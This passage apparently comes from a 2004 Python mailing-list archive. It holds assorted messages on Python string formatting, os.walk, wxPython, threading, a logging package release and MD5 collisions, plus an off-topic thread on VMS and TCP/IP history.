configure:4697: checking sys/select.h usability configure:4710: gcc -c -g -O2 conftest.c >&5 In file included from /usr/include/sys/select.h:38, from configure:4773: /usr/include/sys/event.h:53: syntax error before `u_int' /usr/include/sys/event.h:55: syntax error before `u_short' configure:4713: $? = 1 configure: failed program was: | #line 4699 "configure" | /* confdefs.h. */ | Yours, Noah From jmfbahciv at aol.com Fri Sep 3 06:42:07 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Fri, 03 Sep 04 10:42:07 GMT Subject: Xah Lee's Unixism References: <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> Message-ID: <41385d56$0$19713$61fed72c@news.rcn.com> In article , "John Thingstad" wrote: >On Thu, 2 Sep 2004 18:19:43 +0000 (UTC), Andre Majorel > wrote: > >> On 2004-09-02, John Thingstad wrote: >> >>> The fact that the NT kernel is not entirely stable yet really >>> shouldn't supprise anyone. Afterall Unix has messed with it's >>> kernel for 30 years. >> >> I feel compelled to point out that Linux achieved considerably >> better stability after just a few years. >> > >I feel compelled to replay that Linux is based on the Posix standard which >is basically a recipie for writing unix. They did not write a new >operating system. They implemented a tested and proven one. So was Cutler's. He had his own ideas about what an OS should do. None of them delievered efficient computing services that the customer wanted. /BAH Subtract a hundred and four for e-mail. From bhk at dsl.co.uk Mon Sep 6 13:58:29 2004 From: bhk at dsl.co.uk (Brian {Hamilton Kelly}) Date: Mon, 06 Sep 2004 18:58:29 +0100 (BST) Subject: Xah Lee's Unixism References: <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <41371e5c$0$19723$61fed72c@news.rcn.com> <20040904.2231.57679snz@dsl.co.uk> <413af268$0$19706$61fed72c@news.rcn.com> Message-ID: <20040906.1758.57695snz@dsl.co.uk> On Sunday, in article <413af268$0$19706$61fed72c at news.rcn.com> jmfbahciv at aol.com wrote: > In article <20040904.2231.57679snz at dsl.co.uk>, > bhk at dsl.co.uk (Brian {Hamilton Kelly}) wrote: > > > >VMS (originally) most decidedly did NOT have either TCP/IP or NFS. > > I thought VMS did get TCP/IP into it. I don't know anything about > NFS. > > >Indeed, it took many years before DEC [sorry, by then it was already > >d|i|g|i|t|a|l] had a TCP/IP stack available for VMS --- the dreaded heap > >of quivering jelly created by the Eunice idiots. > > > >Before that, people who needed TCP/IP on a Vax used various third-party > >solutions, such as the implementations from Carnegie-Mellon (CMU) > > Sigh! If CMU had it, I would have assumed it got hornshoed into > VMS. CMU's implementation did not get added to VMS. It was, however, widely used, because (IIRC) academic sites could get it at a very low cost. Digital themselves didn't have any TCP/IP support until the release of "TCP/IP Services for Vax/VMS", which was written by the Unix-end of Digital, and was *really* cruddy. This didn't happen until the mid-1990s, anyway. Hence why most folks, if they could afford it (it was by no means cheap), bought MultiNet. -- Brian {Hamilton Kelly} bhk at dsl.co.uk "I don't use Linux. I prefer to use an OS supported by a large multi- national vendor, with a good office suite, excellent network/internet software and decent hardware support." From thierry.s at free.fr Fri Sep 3 06:37:29 2004 From: thierry.s at free.fr (Thierry S.) Date: Fri, 03 Sep 2004 12:37:29 +0200 Subject: Test the existence of a variable? Message-ID: Hello. I would to test the existence of a variable before to use it (like isset($myVar) in PHP). I try using "if myVar: ", but there is the error meesage (naturally): "NameError: name 'myVar' is not defined" Please, could you tell me what for function exist to test the variable with Python? Regards, -- Thierry S. From godoy at ieee.org Mon Sep 20 17:39:55 2004 From: godoy at ieee.org (Jorge Godoy) Date: Mon, 20 Sep 2004 18:39:55 -0300 Subject: Economic considerations References: <2qq5adF133c5kU1@uni-berlin.de> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> <1gkfq2o.1tadjtapfu6mgN%aleaxit@yahoo.com> Message-ID: aleaxit at yahoo.com (Alex Martelli) writes: > Jorge Godoy wrote: > >> Interesting. And what kind of printer has Pantone support built in? I > > Many good color printers are Pantone(TM)-Calibrated. Check out > and you'll > be able to download Pantone printer profiles, to use with either Apple > or MS color management systems, for a variety of models from all the > most popular printer manufacturers (and then some). Thanks. I'll check it out. c.l.py is also culture :-) -- Godoy. From vinay_sajip at yahoo.co.uk Thu Sep 23 08:42:39 2004 From: vinay_sajip at yahoo.co.uk (Vinay Sajip) Date: 23 Sep 2004 05:42:39 -0700 Subject: ANN: Logging Package v0.4.9.4 released Message-ID: <2e37dc1.0409230442.7e74543d@posting.google.com> A new version of the Python logging package has been released. If you are using version 2.3 of later of Python, this release will not mean much to you - it is the same as recent checkins into Python CVS. However, this release fixes numerous bugs reported since the last independent release (0.4.9.2), and may be of interest to people using earlier versions of Python. What Does It Do? ================ The logging package offers the ability for any Python program to log events which occur during program execution. It's typically used to provide application diagnostics, warnings and error messages. In addition to capturing "what happened", "where it happened", "when it happened", "how important it is" and event specific data, you can configure, without changing the application source code, both the verbosity of logging and the routing of events to different destinations such as console, disk files, sockets, email addresses, Web servers, SOAP servers etc. etc. You can even change the configuration of a running program without stopping and restarting it! You can use the logging package in exception handlers, and it will include traceback information in the log. It's thread-safe, and very easy to use - just "import logging" and log away! Classes provided include: Logger - used to log messages for a particular area of an application. You can instantiate these wherever you want, there's no need to pass references to them around your application. You can log events based on importance levels of DEBUG (least important), INFO, WARN, ERROR, and CRITICAL (most important). You can define your own levels if the default levels don't meet your requirements. Handler - used to route events to particular destinations. Handlers included are: StreamHandler (for generalized streams, including console) FileHandler (for disk files - including log file rotation with size limits for log files) SocketHandler (for sending events to a TCP socket) DatagramHandler (for sending events to a UDP socket - faster, but less reliable than TCP) SMTPHandler (send events to arbitrary email addresses) HTTPHandler (send events to Web servers) SysLogHandler (send events to Unix syslog) MemoryHandler (batch up events and process them several at a time) NTEventLogHandler (send events to Windows NT event logs) There are also examples of XMLHandler and SOAPHandler in the distribution. Formatter - used to format events as text strings. Flexible "msg % arg_tuple" formatting is the basis for formatting, with flexible date/time formatting including ISO8601 and any strftime-based formats. Filter - used when filtering based on importance (DEBUG/INFO/WARNING/ERROR/CRITICAL) is not sufficient. The distribution includes examples of filters based on class matching, regular expression matching, value matching, and logger matching. In the unlikely event that you're daunted by all the apparent complexity, fear not. The package offers a simple function-based interface to allow very simple, almost casual use of the underlying features. In addition to the core logging functionality, you get the ability to configure logging using a ConfigParser-based text file format, a Tkinter-based GUI configurator which creates configuration files for you, and a simple network-based event receiver which receives events on TCP, UDP, HTTP and SOAP ports. This is suitable for testing and might perhaps serve as a model for your own event receivers. Also included are over 20 test scripts which serve both as test harnesses and examples of how to use the logging package. You can get more information from http://www.red-dove.com/python_logging.html There are "download" and "recent changes" links at the top of that page. API documentation is available at http://www.red-dove.com/logging/index.html As always, your feedback is most welcome (especially bug reports, patches and suggestions for improvement). Enjoy! Cheers Vinay Sajip Red Dove Consultants Ltd. Changes since the last independent release: =========================================== Added getLoggerClass() (thanks to Dave Wilson). Added exception handling in shutdown(). Sort globbed files in doRollover() in TimedRotatingFileHandler. Date formatting for SMTPHandler now uses email package where available. fileConfig() exception handling added for handler instantiation. Changed basicConfig() to add keyword arguments. Changes are backward-compatible. Refactored RotatingFileHandler to create a base class for rotating handlers. Added TimedRotatingFileHandler (thanks to Mark Davidson - minor changes have been made to the patch he supplied). Added error checking to log() to check that level is an integer, and raise a TypeError if not (as long as raiseExceptions is set). Fixed a bug in DatagramHandler.send() (thanks to Mario Aleppo and Enrico Sirola for pointing it out). Minor documentation corrections. From jmeile at hotmail.com Thu Sep 9 03:44:01 2004 From: jmeile at hotmail.com (Josef Meile) Date: Thu, 09 Sep 2004 09:44:01 +0200 Subject: print and % operator In-Reply-To: <82880e86.0409082143.7e50aa98@posting.google.com> References: <82880e86.0409082143.7e50aa98@posting.google.com> Message-ID: <41400b55$1@pfaff2.ethz.ch> Hi Ruchika, > I am new to Python, so this may be a very simple question for most of > you. What does the % operator stand for in Python? It is an operator for formating strings. Ie: lets say you want to print a string followed by an integer value embebbed on a string, then you could do: myStr='Test' value=10 print "String: %s value: %i" % (myStr, value) This will print: String: Test value: 10 You could do the same by concatenating the strings: print "String: " + myStr + "value: " + str(value) However, the first piece of code is easier to understand and faster. This link may help: http://docs.python.org/lib/typesseq-strings.html#l2h-206 >I came across a > script that uses the % operator as follows - > > def sync(delf,name): > os.popen3( 'P4 -s sync -f %s' % name) > > I would suspect that this just replaces the %s with the value of name. That's right. > Is % before name required? Yes, % is required since you included "%s" on the string, so, you have to match it with some variable/constant. If you use "%i" instead, then you will have to use an int variable/constant. >Should there be a space between % and name? No, you could use: os.popen3( 'P4 -s sync -f %s'%name) but it looks ugly and it's difficult to read. > On a similar note, how can I print the value of name using the print > statement? Should print %name print the value of name? No, if you want to print a variable directly you should use: print name if you want to print it inside a string then you should do: print "This is the value of name: %s" % name > > Most of the time, when I add some print statements to my script I get > Autoindent error. Can someone tell me what this error is and how to > fix it? Indentation may be wrong, check if you are using the same number of tabs/spaces on each indentation level. Regards, Josef From skip at pobox.com Fri Sep 24 16:52:32 2004 From: skip at pobox.com (Skip Montanaro) Date: Fri, 24 Sep 2004 15:52:32 -0500 Subject: DB-SIG wiki/moin? (was Re: Python and Sybase) In-Reply-To: References: Message-ID: <16724.35088.630671.564170@montanaro.dyndns.org> Alan> When looking at the DB-SIG web page, although I can see a list of Alan> database modules there that support the DB-API in its different Alan> versions and levels, I can see no easy way for that list to be Alan> updated with the above sort of invaluable information. Alan> Might it be a good idea to make at least part of the DB-SIG web Alan> page a wiki/moin? A moin works well in the web Alan> framework/templating arena, so perhaps it is also suitable for Alan> database modules? Go ahead and update the Python wiki: http://www.python.org/moin culling whatever dynamic information you think approrpriate from the existing db-sig pages. Note that there are already several pages with the word "database" in their titles. Search at the bottom of any page to find them. It's likely one of them will be a better starting place than a clean sheet of WikiPaper. Once you have something, let me know and I'll update the topics/data/modules page to refer to it. It would be extra helpful if you could update a copy of this page: http://www.python.org/topics/database/modules.ht (note the lack of "ml" at the end) and shoot it to me. If so, that will simplify my job. Skip From peter at engcorp.com Tue Sep 21 09:43:41 2004 From: peter at engcorp.com (phansen) Date: Tue, 21 Sep 2004 09:43:41 -0400 Subject: Missing fpconst? Message-ID: I was trying to start some experiments with SOAP, but fairly quickly discovered that SOAPpy (required by twisted.web.soap and other things) relies on something called fpconst, which was apparently available from the page http://www.analytics.washington.edu/Zope/projects/fpconst/ which no longer exists. Attempts to find the project in other ways have so far failed. Anyone know what happened to fpconst, and whether there's an alternative location from which to download it? (Or whether there's an easy option to avoid bothering with it... perhaps it can just be commented out?) Thanks, -Peter From rick_muller at yahoo.com Thu Sep 2 14:19:43 2004 From: rick_muller at yahoo.com (rick_muller at yahoo.com) Date: 2 Sep 2004 11:19:43 -0700 Subject: Parsing a makefile using Python In-Reply-To: Message-ID: Sorry, I messed up the link for the earlier thread on parsing Makefiles in Python. Here's one that might just work: http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&threadm=3A094446.271B6554%40hack.org&rnum=2&prev=/groups%3Fq%3Dparse%2Bmakefile%2Bgroup:comp.lang.python.*%26hl%3Den%26lr%3D%26ie%3DUTF-8%26group%3Dcomp.lang.python.*%26selm%3D3A094446.271B6554%2540hack.org%26rnum%3D2 From simon.brunning at gmail.com Tue Sep 28 05:49:12 2004 From: simon.brunning at gmail.com (Simon Brunning) Date: Tue, 28 Sep 2004 10:49:12 +0100 Subject: Is there a function to search the HD In-Reply-To: <4159229b$0$22676$ba624c82@nntp04.dk.telia.net> References: <4159229b$0$22676$ba624c82@nntp04.dk.telia.net> Message-ID: <8c7f10c6040928024952c59ea5@mail.gmail.com> On Tue, 28 Sep 2004 10:37:07 +0200, Peter Jensen wrote: > I was wondering if there is an inbuild function in python to search your > harddrives ( Harddisk's) for a file of a speciel type. I mean can I write a > command with 2 parameters ( one being the filetype, and the other the > location on the harddisk where I want to search for the specific file type ) You want os.walk(). There's a simple example of its use here: http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/279003 -- Cheers, Simon B, simon.brunning at gmail.com, http://www.brunningonline.net/simon/blog/ From peter at engcorp.com Fri Sep 17 09:52:05 2004 From: peter at engcorp.com (phansen) Date: Fri, 17 Sep 2004 09:52:05 -0400 Subject: (Synchronous) Thread Control In-Reply-To: <414adb28$0$32714$626a14ce@news.free.fr> References: <414adb28$0$32714$626a14ce@news.free.fr> Message-ID: <7aKdnZx7w9KbcdfcRVn-tg@powergate.ca> Olivier Parisy wrote: > It seems like the main thread never exits from join(), in spite of > the timeout and the likeliness of the sub thread ending. > > Any idea of what I've done wrong? Nothing at all. It works fine here. (And nice clean code you have, by the way.) Are you running this from the command line, or inside some other tool, or something else unusual? What versions of Python and OS are you using? I'm on Win XP Pro SP 2 with Python 2.3.4. -Peter From RobMEmmons at cs.com Mon Sep 6 19:22:08 2004 From: RobMEmmons at cs.com (Robert M. Emmons) Date: Mon, 06 Sep 2004 18:22:08 -0500 Subject: Question: tools for business apps development In-Reply-To: References: <1gjlr3h.1g2eq2uki1ytcN%aleaxit@yahoo.com> Message-ID: <413CF120.4030407@cs.com> > It will run in Windows, but it's supposed to be multiplatform - > whatever it means nowadays :-) My friend is toying with the idea to > turn his company into a full Linux based shop. One stratagy to move to Linux: Move to the web, avoid VB -- use Java instead, don't use MS Office -- use OpenOffice. This is probably the most conservative approach. It's hard to see how anyone can be scared of that approach. Again -- I not encouraging Java because it's not open source, but it does have Linux support and is commerical with some free tools and it is probalby a more conservative choice than python -- though python is way cool and I like python myself. People also say good things about QT development environment -- but again that's commerical -- and I don't know what it has for python support. > And web-based apps are thought to be limited, not interactive > or responsive enough for the job (the dependence on heavy Javascript > programming doesn't help it either). I believe this is why XUL exists -- to give web based apps a local applicaiton look and feel. > And I'm not inclined to > study XUL just to do it, but I can change my mind. I don't feel > comfortable to use a browser extension to write a full fledged app -- > it may be a prejudice of mine (I don't like browser-based Java apps, > either, although its a completely different beast), and a little > reading may help to dispell it. Yes I have that concern -- but I've not tried it and don't know either way. The Active State IDE is writen this way, so there is one example. Rob From mefjr75 at hotmail.com Sun Sep 12 10:34:12 2004 From: mefjr75 at hotmail.com (M.E.Farmer) Date: 12 Sep 2004 07:34:12 -0700 Subject: Microthreads without Stackless? References: Message-ID: <18282ecb.0409120634.5ba044ee@posting.google.com> David Mertz covered this. :) 'Implementing "weightless threads" with Python generators.' http://gnosis.cx/publish/programming/charming_python_b7.html HTH, M.E.Farmer From grante at visi.com Tue Sep 21 16:12:14 2004 From: grante at visi.com (Grant Edwards) Date: 21 Sep 2004 20:12:14 GMT Subject: Math errors in python References: <70b3d.1822$uz1.747@trndny03> <60dfb6f6.0409211207.6099285c@posting.google.com> Message-ID: <41508b1e$0$60637$a1866201@newsreader.visi.com> On 2004-09-21, Carl Banks wrote: > "Chris S." wrote in message news:<70b3d.1822$uz1.747 at trndny03>... >> I just find >> it funny how a $20 calculator can be more accurate than Python running >> on a $1000 Intel machine. > > Actually, if you look at Intel's track record, it isn't that surprising. > > How many Intel Pentium engineers does it take to change a light bulb? > Three. One to screw in the bulb, and one to hold the ladder. Intel, where quality is Job 0.9999999997. -- Grant Edwards grante Yow! My CODE of ETHICS at is vacationing at famed visi.com SCHROON LAKE in upstate New York!! From fluxent at yahoo.com Tue Sep 14 14:57:21 2004 From: fluxent at yahoo.com (Bill Seitz) Date: 14 Sep 2004 11:57:21 -0700 Subject: newbie sending hex values over UDP socket References: Message-ID: fluxent at yahoo.com (Bill Seitz) wrote in message news:... > Excellent - now how about calculating a parity-check byte? Here's the definition of the parity byte: The column parity is one (1) byte. The eight bits of data in this byte re?flect the odd parity of all corresponding bits in the block; i.e. bit 8 of the Column Parity byte is the odd parity of all bit 8's in the entire block. Column parity will be calculated by the sender as follows: (a) Begin with the value 255. (b) Exclusive OR the current value with the value of the first (or next) data byte beginning with the header byte. Repeat until all bytes up to, but not includ?ing, the parity byte have been used. (c) Send the result in the column parity position. From ThisIsNotMyReal at ddress.com Sat Sep 25 10:57:13 2004 From: ThisIsNotMyReal at ddress.com (Brian) Date: Sat, 25 Sep 2004 14:57:13 GMT Subject: random.choice returns the same value References: <41550C26.18218493@alcyone.com> Message-ID: Feel free to point and laugh. I guess it was getting a little too late. I was doing something like this where ComedyList and SciFiList are populated lists: filelist = [] if var = "SciFi": filelist = SciFiList elif var = "Comedy": filelist = ComedyList I forgot to add the [:] at the end. I am the win. Erik Max Francis wrote in news:41550C26.18218493 @alcyone.com: > Brian wrote: > >> Any reason why random.choice would return the first value in a list >> everytime? > > Because the list only has one element, or all the elements have the same > value? > From peter at engcorp.com Fri Sep 3 09:42:09 2004 From: peter at engcorp.com (Peter Hansen) Date: Fri, 03 Sep 2004 09:42:09 -0400 Subject: namespace question In-Reply-To: <9LSZc.304482$J06.211961@pd7tw2no> References: <9LSZc.304482$J06.211961@pd7tw2no> Message-ID: Elaine Jackson wrote: > By "the interpreter's global namespace" I mean the dictionary that gets returned > if you evaluate 'globals()' in the interpreter. As Alex said then: (in module nstest.py): import __main__ vars(__main__)['spam'] = 'baz' (in interactive session with extra spacing for readability): c:\>python >>> globals() {'__builtins__': , '__name__': '__main__', '__doc__': None} >>> import nstest >>> dir() ['__builtins__', '__doc__', '__name__', 'nstest', 'spam'] >>> globals() {'__builtins__': , '__name__': '__main__', 'nstest': , '__doc__': None, 'spam': 'baz'} -Peter From marcus at deepfort.com Sun Sep 19 12:20:18 2004 From: marcus at deepfort.com (marcus at deepfort.com) Date: Sun, 19 Sep 2004 17:20:18 +0100 Subject: Python Webstart ? In-Reply-To: <414b0d22$0$2414$61ce578d@news.syd.swiftdsl.com.au> References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au> <414b0d22$0$2414$61ce578d@news.syd.swiftdsl.com.au> Message-ID: <414DB1C2.70407@deepfort.com> > Well not really. I don't mind doing one installation of a > (Python/Java) webstart. However, it's the automatic update of the > actual application software which I find most useful. The alternative > using p2exe or pyfreeze will require me to distribute the (potentially > large) binaries manually. For hundreds of terminals, this is not gonna > be good, especially in an iterative environment. I'm probably being really really *really* obtuse here (and heaven knows it wouldn't be the first time) - but what's preventing you from including that functionality in the program itself, by use of (say) querying an xml file on (say) a web server? I do this, in various permutations depending on the context, and it's certainly flexible, convenient and all that jazz. I'm not picking holes here, more wondering what I've missed, or even if my approach could be helpful... *dons flameproofs* From aleaxit at yahoo.com Wed Sep 29 09:50:39 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 29 Sep 2004 15:50:39 +0200 Subject: all pairs of items in a list without indexing? References: <20040928215701.GA11275@unpythonic.net> Message-ID: <1gkvl17.1binc8f176m952N%aleaxit@yahoo.com> Duncan Booth wrote: > Michael Sparks wrote: > > > This is what was asked for: > > > > # Given a list l which we want all pairs: > >>>> l=[1,2,3,4,5] > >>>> [(l[x],l[y]) for y in xrange(len(l)) for x in xrange(y,len(l)) if > >>>> x!=y] > > [(2, 1), (3, 1), (4, 1), (5, 1), (3, 2), (4, 2), (5, 2), (4, 3), (5, > > 3), (5, 4)] > > The same thing can be written slightly more succinctly as: > > >>> [(l[x],l[y]) for y in xrange(len(l)) for x in xrange(y+1,len(l))] > [(2, 1), (3, 1), (4, 1), (5, 1), (3, 2), (4, 2), (5, 2), (4, 3), (5, 3), > (5, 4)] which in turn can be compacted yet a bit more, down to: [ (s, f) for i, f in enumerate(l) for s in l[i+1:] ] Alex From saperlipopette at gmx.ch Tue Sep 14 08:21:58 2004 From: saperlipopette at gmx.ch (haddock) Date: 14 Sep 2004 05:21:58 -0700 Subject: access tga image size References: <8c2f23c.0409131332.41657a38@posting.google.com> Message-ID: <8c2f23c.0409140421.5086a615@posting.google.com> thank you very much, that was most helpful. From peter at engcorp.com Fri Sep 10 13:47:09 2004 From: peter at engcorp.com (Peter Hansen) Date: Fri, 10 Sep 2004 13:47:09 -0400 Subject: Executing system commands with wxpython In-Reply-To: <3dec2e051d82da31c9fe868669e3ce6d@localhost.talkaboutprogramming.com> References: <3dec2e051d82da31c9fe868669e3ce6d@localhost.talkaboutprogramming.com> Message-ID: <8a2dnQLx060DddzcRVn-rA@powergate.ca> twsnnva wrote: > Could anyone give me an example (code) of a simple program with a button > that when clicked executes a linux shell or windows dos command like > "ifconfig" or "ipconfig" and prints the output somewhere in the same > window. Thanks. Simplified example... just meets your requirements. import wx class MyFrame(wx.Frame): def __init__(self): wx.Frame.__init__(self, None, -1, 'Test') p = wx.Panel(self, -1) b = wx.Button(p, 10, "A Button") self.Bind(wx.EVT_BUTTON, self.OnClick, b) self.tc = wx.StaticText(p, -1, '') self.tc.SetPosition((3, 25)) self.Show(True) def OnClick(self, event): import os result = os.popen('ipconfig').read() self.tc.SetLabel(result) if __name__ == '__main__': app = wx.PySimpleApp() frame = MyFrame() app.MainLoop() From graeme.matthew at contrado.com.au Thu Sep 9 19:21:54 2004 From: graeme.matthew at contrado.com.au (Graeme Matthew) Date: Fri, 10 Sep 2004 09:21:54 +1000 Subject: Postgresql - Preferred Python Library Message-ID: <4140e595$0$22790$5a62ac22@per-qv1-newsreader-01.iinet.net.au> Hi All I have noticed that there are a numbe rof client libraries for connecting to Postgres. Can anyone tell me what is the recommended Python library for database connections many thanks From peter at engcorp.com Mon Sep 27 12:11:29 2004 From: peter at engcorp.com (Peter Hansen) Date: Mon, 27 Sep 2004 12:11:29 -0400 Subject: New to Python In-Reply-To: References: <338366A6D2E2CA4C9DAEAE652E12A1DE4A9007@au3010avexu1.global.avaya.com> Message-ID: Erik Heneryd wrote: [about the Smart Questions essay] > Uhm... sure. The point is that it *is* intimidating and that you'll > have to be pretty darn dedicated to asking/answering to consider it > worth the time. I would really hope that people asking *are* dedicated enough to read it at least once before asking, especially people who are very new to online fora and Usenet and computing... to do less is potentially to disrespect those whom you are asking for help. Those responding a lot don't really have to read it, but doing so would probably help them in several ways. Their choice. > Also, It's often used as an answer to dumb questions, without even a > hint of what's stupid about it. That's simply counterproductive. Simply > stating "That's a stupid questiong, think about it, use common sense" > would be more helpful. And that kind of response is *exactly* the rude kind of response that is given in many places, and the reason Eric wrote the essay (channeling Eric here...). The essay says that in much kinder words, provides very helpful advice to get the newbie past that stage, and gives the rationale behind it all, rather than pretending that "common sense" is really all that common, let alone obvious. It's very unlikely, IMHO, that anyone who actually reads the essay after posting a "dumb question" (your words) will post such a poor question again the next time. With the useless "think about it" response, you'll start a flame war _and_ not help the OP, and where's the fun in that? > And note that I wasn't talking about it's use in this thread or even > c.l.p, but in general. And our replies could be interpreted in like manner, except maybe mine in this post. ;-) -Peter From sholden at flexal.cs.usyd.edu.au Sun Sep 12 22:58:29 2004 From: sholden at flexal.cs.usyd.edu.au (Sam Holden) Date: 13 Sep 2004 02:58:29 GMT Subject: MD5 and SHA cracked/broken... References: <7xacvuyjfn.fsf@ruckus.brouhaha.com> Message-ID: On 12 Sep 2004 19:46:52 -0700, Paul Rubin <> wrote: > Kirk Job-Sluder writes: >> It should also be mentioned that "broken" in terms of Cryptography is a >> bit different from how we think about computer security in general. >> "Broken" in this case means that there exists a known algorithm that >> makes it easier than a brute force attack to violate one or more of the >> desired properties for a good hash algorithm. It DOES NOT mean that a >> practical exploit exists for MD5 that permits one to slip a trojan into >> downloaded files or crack a password file. There are easier ways to >> plant a trojan than to create an identical MD5 hash, or crack a password >> file than to try to break preimage resistance. > > You don't need preimages to plant a trojan. If you can create mere > collisions, you can create two files, one with a trojan and one > without a trojan, that have the same md5sum. You publish the > non-trojan one, people inspect it carefully and start using it, and > download sites say that its md5sum should be so-and-so. Now you can > replace the non-trojan file with the trojan version and the md5sum > will still verify. Creating a collision between a "useful" file which people can examine and use and a "trojan" file which does "bad things" is significantly more difficult than creating two files whose MD5 sums collide but whose contents are essentially "random". -- Sam Holden From john at grulic.org.ar Mon Sep 6 08:48:43 2004 From: john at grulic.org.ar (John Lenton) Date: Mon, 6 Sep 2004 09:48:43 -0300 Subject: Module name conflict with standard library In-Reply-To: <87r7pg4uvo.fsf@news2.ososo.de> References: <87k6v9o8cg.fsf@news2.ososo.de> <4edc17eb.0409042332.5730eed7@posting.google.com> <10jlqmr85klsb0a@news.supernews.com> <87r7pg4uvo.fsf@news2.ososo.de> Message-ID: <20040906124843.GA4558@grulic.org.ar> On Sun, Sep 05, 2004 at 05:07:23PM +0200, Felix Wiemann wrote: > > So I hope that absolute imports will get implemented in Python 2.4. I > think I'll name my module 'Curses', as John suggested (even if that's > asking for trouble on Windows systems). what kind of trouble, other than not being able to put it in the same directory as curses.py ? -- John Lenton (john at grulic.org.ar) -- Random fortune: No hay peor sordo que el que no quiere oir. -- Refr?n. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 196 bytes Desc: Digital signature URL: From wweston at att.net Wed Sep 29 12:51:21 2004 From: wweston at att.net (wes weston) Date: Wed, 29 Sep 2004 16:51:21 GMT Subject: how to get files in a directory In-Reply-To: References: Message-ID: Anand K Rayudu wrote: > > Hi all, > > I am trying to find a way to get the files recursively in a given > directory, > > The following code is failing, can some one please suggest what could be > problem here > > > from os import walk,join > > for root,dir,files in os.walk("E:\myDir1\MyDir2"): > for i in dir: > for j in files: > fille = root+i+j > print file > > Surprisingly if i give os.walk("E:\myDir1") the above code works, but > not if i have 2 levels of directories. > > Thanks & Best Regards, > Anand > > Anand, Does this help? wes def GetFilesWithExtRecursively(path,ext_list): #ext_list is like [".h",".cpp",...] dir_list = [] file_list = [] if not os.path.isdir(path): print "\a" return [],[] filenames = os.listdir( path ) for fn in filenames: if path[-1] == "/": xfn = path + fn else: xfn = path + "/" + fn if( os.path.isdir( xfn ) ): file_list = file_list + GetFilesWithExtRecursively( xfn ,ext_list) elif( os.path.isfile( xfn ) ): front,back = os.path.splitext(xfn) if back in ext_list: file_list.append( xfn ) return file_list From jmfbahciv at aol.com Mon Sep 6 07:23:17 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Mon, 06 Sep 04 11:23:17 GMT Subject: Xah Lee's Unixism References: <41371e5c$0$19723$61fed72c@news.rcn.com> <20040904.2231.57679snz@dsl.co.uk> <413af268$0$19706$61fed72c@news.rcn.com> Message-ID: <413c5b9c$0$19705$61fed72c@news.rcn.com> In article , Morten Reistad wrote: >In article <413af268$0$19706$61fed72c at news.rcn.com>, > wrote: >>In article <20040904.2231.57679snz at dsl.co.uk>, >> bhk at dsl.co.uk (Brian {Hamilton Kelly}) wrote: >>>On Thursday, in article >>> <41371e5c$0$19723$61fed72c at news.rcn.com> jmfbahciv at aol.com >>> wrote: >>> >>>> In article <2mmdj0t6mjgif88en11skbo3n8uiuj46nc at 4ax.com>, >>>> Brian Inglis wrote: >>>> >MS has been borrowing code from Unix to create a real OS: TCP/IP; >>>> >NTFS<-ffs; memory mapped files<-mmap. >>>> >>>> All right. Now I'm mystified. Why did they have to borrow code >>>> from Unix? They already had VMS. ISTM, VMS had all of the >>>> above. >>> >>>VMS (originally) most decidedly did NOT have either TCP/IP or NFS. >> >>I thought VMS did get TCP/IP into it. I don't know anything about >>NFS. > >VMS was too early, and was made too politically correct. > >TCP/IP was NOT politically correct until around 1996 or so. >TPTB wanted OSI, GOSIP/Decnet Phase 5 and all that crud, until we >Internet people hammered them. > >>>Indeed, it took many years before DEC [sorry, by then it was already >>>d|i|g|i|t|a|l] had a TCP/IP stack available for VMS --- the dreaded heap >>>of quivering jelly created by the Eunice idiots. >>> >>>Before that, people who needed TCP/IP on a Vax used various third-party >>>solutions, such as the implementations from Carnegie-Mellon (CMU) >> >>Sigh! If CMU had it, I would have assumed it got hornshoed into >>VMS. > >Wrong mindset. TCP/IP was never a DEC invention, much less a D I G I T A L >one. It didn't have to be a DEC invention. If it was CMU, we got it shoved down our throats and up our asses. However, I see that the dates explain why TCP/IP didn't get into VMS. Apparently the protocol got good after Gordon Bell left DEC. Since TCP/IP was in the 90s, I couldn't have heard about it over the wall (I think I stopped working in 1987). I could swear that cybercurd meant something. ISTR, the -20 types yakking about it. /BAH Subtract a hundred and four for e-mail. From peter at engcorp.com Wed Sep 1 21:17:42 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 01 Sep 2004 21:17:42 -0400 Subject: .pyc files?? In-Reply-To: References: <938a4680.0409011626.3b047658@posting.google.com> Message-ID: <5pGdnSW_EZQl6avcRVn-jg@powergate.ca> Jeremy Jones wrote: > This file contains compiled bytecode that the Python interpreter uses. > If, in your example, filea.pyc exists and its timestamp is newer than > filea.py, then the interpreter uses filea.pyc without even attempting to > recompile it (which saves the time spent compiling in subsequent runs). > If filea.pyc doesn't exist, or its timestamp is older than filea.py, the > Python interpreter compiles filea.py to bytecode and writes it to > filea.pyc (if it has permissions to do so). Minor nit-picking: I'm fairly sure that the interpreter just compares the timestamp for equality, not for "earlier than". I could be wrong, but I think it's a case of "if the .pyc embedded timestamp doesn't match the timestamp of the corresponding .py file exactly, then recompile the .pyc file". And a quick test at the command line appears to confirm this... -Peter From sholden at flexal.cs.usyd.edu.au Fri Sep 3 00:32:42 2004 From: sholden at flexal.cs.usyd.edu.au (Sam Holden) Date: 3 Sep 2004 04:32:42 GMT Subject: Modules are hashable?! References: <2pld08Fm7mo8U1@uni-berlin.de> <1gjfpqj.1knk4mcpq5fj0N%aleaxit@yahoo.com> <4137ed92$1@news.unimelb.edu.au> Message-ID: On Fri, 03 Sep 2004 04:05:40 GMT, Maurice LING wrote: > Alex Martelli wrote: > >> Leif K-Brooks wrote: >> >> >>>I was just playing around, and noticed that modules seem to be hashable. >>>Can anyone explain that, especially given the fact that they're mutable? >> >> >> Any object x is hashable if type(x) does not expose __eq__ nor __cmp__. >> In that case, the meaning of x==y for that object is 'x is y', that is, >> id(x)==id(y), so having hash(x) return 